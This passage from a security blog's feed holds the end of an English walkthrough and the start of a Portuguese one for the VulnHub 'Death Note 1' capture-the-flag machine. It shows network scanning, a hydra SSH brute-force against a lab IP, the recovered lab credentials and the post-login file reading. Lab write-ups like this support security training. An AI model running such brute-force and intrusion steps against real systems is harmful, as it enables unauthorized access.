&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;root@deathnote:/home/kira#&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; kira.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cGxlYXNlIHByb3RlY3Qgb25lIG9mIHRoZSBmb2xsb3dpbmcgCjEuIEwgKC9vcHQpCjIuIE1pc2EgKC92YXIp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Decoding again via &lt;strong&gt;CyberChef&lt;/strong&gt; (&lt;code&gt;From Base64&lt;/code&gt;):&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;please protect one of the following&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;1. L (/opt)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;2. Misa (/var)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;65-discovering-the-misa-file-in-var&quot;&gt;6.5 Discovering the Misa file in /var&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;root@deathnote:/var#&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; misa&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;it is toooo late for misa&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;7-flags--root&quot;&gt;7. Flags / Root&lt;/h2&gt;
&lt;h3 id=&quot;71-capturing-roottxt&quot;&gt;7.1 Capturing root.txt&lt;/h3&gt;
&lt;p&gt;Navigating to the root home directory, we locate the &lt;code&gt;root.txt&lt;/code&gt; file:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;root@deathnote:/var#&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;root@deathnote:~#&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;root.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;root@deathnote:~#&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; root.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[REDACTED]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;##########follow me on twitter###########3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;and share this screen shot and tag @KDSAMF&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&gt; 🏁 &lt;strong&gt;CTF successfully completed!&lt;/strong&gt; The final flag was obtained from the &lt;code&gt;root.txt&lt;/code&gt; file in the home directory of the &lt;code&gt;root&lt;/code&gt; user.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;8-conclusion&quot;&gt;8. Conclusion&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;Death Note 1&lt;/strong&gt; machine is a great exercise for CTF beginners, following a classic path of compromise:&lt;/p&gt;


















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Step&lt;/th&gt;&lt;th&gt;Technique&lt;/th&gt;&lt;th&gt;Tool&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Host discovery&lt;/td&gt;&lt;td&gt;Passive ARP scan&lt;/td&gt;&lt;td&gt;&lt;code&gt;netdiscover&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Surface mapping&lt;/td&gt;&lt;td&gt;Port/service scan&lt;/td&gt;&lt;td&gt;&lt;code&gt;nmap&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Web enumeration&lt;/td&gt;&lt;td&gt;Directory brute-force&lt;/td&gt;&lt;td&gt;&lt;code&gt;DirBuster&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Wordlist collection&lt;/td&gt;&lt;td&gt;Reading exposed files&lt;/td&gt;&lt;td&gt;&lt;code&gt;curl&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Initial access&lt;/td&gt;&lt;td&gt;SSH brute-force&lt;/td&gt;&lt;td&gt;&lt;code&gt;hydra&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Post-exploitation&lt;/td&gt;&lt;td&gt;Hex + Base64 decoding&lt;/td&gt;&lt;td&gt;&lt;code&gt;CyberChef&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Lateral escalation&lt;/td&gt;&lt;td&gt;Credential reuse&lt;/td&gt;&lt;td&gt;&lt;code&gt;ssh&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Flag capture&lt;/td&gt;&lt;td&gt;Root file reading&lt;/td&gt;&lt;td&gt;&lt;code&gt;cat&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Key takeaways:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Files that appear to be “corrupted” may contain useful data—always use &lt;code&gt;curl&lt;/code&gt; or &lt;code&gt;cat&lt;/code&gt; before discarding them.&lt;/li&gt;
&lt;li&gt;Wordlists exposed in web directories are a critical attack vector.&lt;/li&gt;
&lt;li&gt;Multi-layered encoded data (Hex → Base64) is common in easy-level CTFs; tools like CyberChef dramatically speed up analysis.&lt;/li&gt;
&lt;li&gt;Methodical directory enumeration (&lt;code&gt;/opt&lt;/code&gt;, &lt;code&gt;/var&lt;/code&gt;) after initial access is essential for finding escalation paths.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Written by &lt;strong&gt;G4ij1ntoor&lt;/strong&gt; — &lt;a href=&quot;https://kbmsecurity.com&quot;&gt;KBM Security&lt;/a&gt; · r3d/ops blog&lt;/em&gt;&lt;/p&gt;</content:encoded><author>redteam@kbmsecurity.com.br</author><category>ctf</category><category>ctf</category><category>vulnhub</category><category>linux</category><category>brute-force</category><category>hydra</category><category>nmap</category><category>ssh</category><category>web-enumeration</category><difficulty>easy</difficulty></item><item><title>Death Note 1 — VulnHub Walkthrough Completo</title><link>https://www.kbmsecurity.com.br/blog/post/deathnote/</link><guid isPermaLink="true">https://www.kbmsecurity.com.br/blog/post/deathnote/</guid><description>Walkthrough da máquina Death Note 1 do VulnHub: reconhecimento, brute-force SSH com Hydra, decodificação hex/base64 e captura do root.txt.</description><pubDate>Sat, 21 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;1-introdução&quot;&gt;1. Introdução&lt;/h2&gt;
&lt;p&gt;A máquina &lt;strong&gt;Death Note 1&lt;/strong&gt; está disponível no &lt;a href=&quot;https://www.vulnhub.com/entry/deathnote-1,739/&quot;&gt;VulnHub&lt;/a&gt; e é classificada com dificuldade &lt;strong&gt;Fácil&lt;/strong&gt;. O objetivo é comprometer o servidor, escalando do acesso web até a leitura do arquivo &lt;code&gt;root.txt&lt;/code&gt;. A temática é inspirada no anime &lt;em&gt;Death Note&lt;/em&gt;, com usuários como &lt;strong&gt;kira&lt;/strong&gt;, &lt;strong&gt;L&lt;/strong&gt; e &lt;strong&gt;Misa&lt;/strong&gt; distribuídos pela máquina.&lt;/p&gt;
&lt;p&gt;O ambiente utilizado neste walkthrough é uma rede local com a máquina alvo em &lt;code&gt;192.168.3.152&lt;/code&gt; e a máquina atacante rodando &lt;strong&gt;Kali Linux&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;2-reconhecimento&quot;&gt;2. Reconhecimento&lt;/h2&gt;
&lt;h3 id=&quot;21-descoberta-de-host&quot;&gt;2.1 Descoberta de Host&lt;/h3&gt;
&lt;p&gt;Utilizamos o &lt;code&gt;netdiscover&lt;/code&gt; para mapear os hosts ativos na rede &lt;code&gt;/16&lt;/code&gt; e identificar o IP da máquina alvo.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;netdiscover&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 192.168.0.0/16&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Currently scanning: 192.168.0.0/16  |  Screen View: Unique Hosts&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;IP             At MAC Address      Count  Len  MAC Vendor / Hostname&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;192.168.0.1    d8:07:b6:96:bf:c8   1      60   TP-LINK TECHNOLOGIES CO.,LTD.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;192.168.3.1    88:36:cf:5d:f9:e5   1      60   Huawei Device Co., Ltd.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;192.168.3.126  dc:21:5c:76:38:2e   1      60   Intel Corporate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;192.168.3.152  08:00:27:72:d0:cd   1      60   PCS Systemtechnik GmbH   ← ALVO&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;22-scan-de-portas-e-serviços&quot;&gt;2.2 Scan de Portas e Serviços&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -sS&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -A&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 192.168.3.152&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;PORT   STATE SERVICE VERSION&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;80/tcp open  http    Apache httpd 2.4.38 ((Debian))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;|_http-title: Site doesn&apos;t have a title (text/html)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Foram identificadas &lt;strong&gt;duas portas abertas&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;22/TCP&lt;/strong&gt; — SSH (OpenSSH 7.9p1)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;80/TCP&lt;/strong&gt; — HTTP (Apache 2.4.38)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;3-enumeração-web&quot;&gt;3. Enumeração Web&lt;/h2&gt;
&lt;h3 id=&quot;31-acesso-inicial&quot;&gt;3.1 Acesso Inicial&lt;/h3&gt;
&lt;p&gt;Acessando &lt;code&gt;http://192.168.3.152&lt;/code&gt; pelo navegador, encontramos um site totalmente desconfigurável. Navegando para o diretório &lt;code&gt;/wordpress/&lt;/code&gt;, encontramos um blog WordPress com o usuário &lt;strong&gt;kira&lt;/strong&gt; e o post &lt;em&gt;“i will eliminate you L!”&lt;/em&gt;, contendo a frase:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;“my fav line is iamjustic3”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Isso serve como dica importante para a fase de exploração.&lt;/p&gt;
&lt;h3 id=&quot;32-enumeração-de-diretórios-com-dirbuster&quot;&gt;3.2 Enumeração de Diretórios com DirBuster&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Utilizando OWASP DirBuster 1.0-RC1 contra http://192.168.3.152:80/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Wordlist padrão do DirBuster, 200 threads&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Diretórios/Arquivos relevantes encontrados (HTTP 200):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/wp-content/uploads/2021/07/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/wp-content/uploads/2021/07/user.txt   (359 bytes)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/wp-content/uploads/2021/07/notes.txt  (745 bytes)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/license.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/robots.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/manual/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Foram encontrados dois arquivos &lt;code&gt;.txt&lt;/code&gt; no diretório de uploads do WordPress:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;user.txt&lt;/code&gt;&lt;/strong&gt; — lista de possíveis nomes de usuário&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;notes.txt&lt;/code&gt;&lt;/strong&gt; — lista de possíveis senhas&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;33-análise-do-robotstxt&quot;&gt;3.3 Análise do robots.txt&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; http://192.168.3.152/robots.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;fuck it my dad&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;added hint on /important.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ryuk please delete it&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;O &lt;code&gt;robots.txt&lt;/code&gt; revela a existência do arquivo &lt;code&gt;/important.jpg&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;34-leitura-do-importantjpg-via-curl&quot;&gt;3.4 Leitura do important.jpg via curl&lt;/h3&gt;
&lt;p&gt;O arquivo &lt;code&gt;important.jpg&lt;/code&gt; estava corrompido como imagem. Usando &lt;code&gt;curl&lt;/code&gt;, foi possível ler seu conteúdo de texto:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; http://192.168.3.152/important.jpg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i am Soichiro Yagami, light&apos;s father&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i have a doubt if L is true about the assumption that light is kira&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i can only help you by giving something important&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;login username : user.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i don&apos;t know the password.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;find it by yourself&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;but i think it is in the hint section of site&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Confirmação: &lt;strong&gt;&lt;code&gt;user.txt&lt;/code&gt;&lt;/strong&gt; é a wordlist de usuários e a senha está em &lt;strong&gt;&lt;code&gt;notes.txt&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;4-exploração&quot;&gt;4. Exploração&lt;/h2&gt;
&lt;h3 id=&quot;41-brute-force-ssh-com-hydra&quot;&gt;4.1 Brute-Force SSH com Hydra&lt;/h3&gt;
&lt;p&gt;Com as wordlists &lt;code&gt;user.txt&lt;/code&gt; e &lt;code&gt;notes.txt&lt;/code&gt; em mãos, realizamos o ataque de força bruta no serviço SSH:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;hydra&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -L&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; user.txt&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -P&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; notes.txt&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 192.168.3.152&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ssh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[DATA] max 16 tasks per 1 server, overall 16 tasks, 731 login tries (l:17/p:43)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[DATA] attacking ssh://192.168.3.152:22/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[STATUS] 293.00 tries/min, 293 tries in 00:01h&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[22][ssh] host: 192.168.3.152   login: l   password: deathnote&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;✅ &lt;strong&gt;Credenciais encontradas: &lt;code&gt;l&lt;/code&gt; / &lt;code&gt;deathnote&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&quot;5-acesso-inicial&quot;&gt;5. Acesso Inicial&lt;/h2&gt;
&lt;h3 id=&quot;51-login-ssh-como-usuário-l&quot;&gt;5.1 Login SSH como usuário &lt;code&gt;l&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ssh&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; l@192.168.3.152&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;l@192.168.3.152&apos;s password: deathnote&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Linux deathnote 4.19.0-17-amd64 #1 SMP Debian 4.19.194-2 (2021-06-21) x86_64&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;l@deathnote:~$&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Acesso obtido com sucesso ao shell da máquina alvo.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;6-pós-exploração--escalada&quot;&gt;6. Pós-Exploração / Escalada&lt;/h2&gt;
&lt;h3 id=&quot;61-descoberta-do-diretório-optl&quot;&gt;6.1 Descoberta do Diretório /opt/L&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;l@deathnote:~$&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cd&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /opt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;l@deathnote:/opt$&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ls&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -l&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;drwxr-xr-x 4 root root 4096 Aug 29 2021 L&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;l@deathnote:/opt$&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cd&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; L&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ls&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -l&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
